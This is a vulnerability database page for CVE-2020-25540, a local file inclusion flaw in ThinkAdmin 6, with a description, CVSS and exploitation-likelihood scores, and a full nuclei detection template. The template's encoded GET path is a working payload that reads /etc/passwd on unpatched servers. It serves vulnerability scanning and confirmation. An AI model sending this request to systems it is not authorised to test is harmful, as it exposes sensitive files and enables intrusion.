HexBrain

Browse / CVEs / CVE-2020-25540

CVE-2020-25540· thinkadmin / thinkadmin· CWE-22

ThinkAdmin 6 - Local File Inclusion

highseverity
7.5CVSS score
75.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

ThinkAdmin version 6 is affected by a local file inclusion vulnerability because an unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.

Fix

Apply the latest patch or upgrade to a version that is not affected by the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37…
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-25540 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-25540

info:
  name: ThinkAdmin 6 - Local File Inclusion
  author: geeknik
  severity: high
  description: ThinkAdmin version 6 is affected by a local file inclusion vulnerability because an unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest patch or upgrade to a version that is not affected by the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48812
    - https://github.com/zoujingli/ThinkAdmin/issues/244
    - https://wtfsec.org/posts/thinkadmin-v6-%E5%88%97%E7%9B%AE%E5%BD%95-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/
    - http://packetstormsecurity.com/files/159177/ThinkAdmin-6-Arbitrary-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25540
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25540
    cwe-id: CWE-22
    epss-score: 0.75332
    epss-percentile: 0.99518
    cpe: cpe:2.3:a:thinkadmin:thinkadmin:6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thinkadmin
    product: thinkadmin
  tags: cve,cve2020,thinkadmin,lfi,edb,packetstorm,ctolog,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from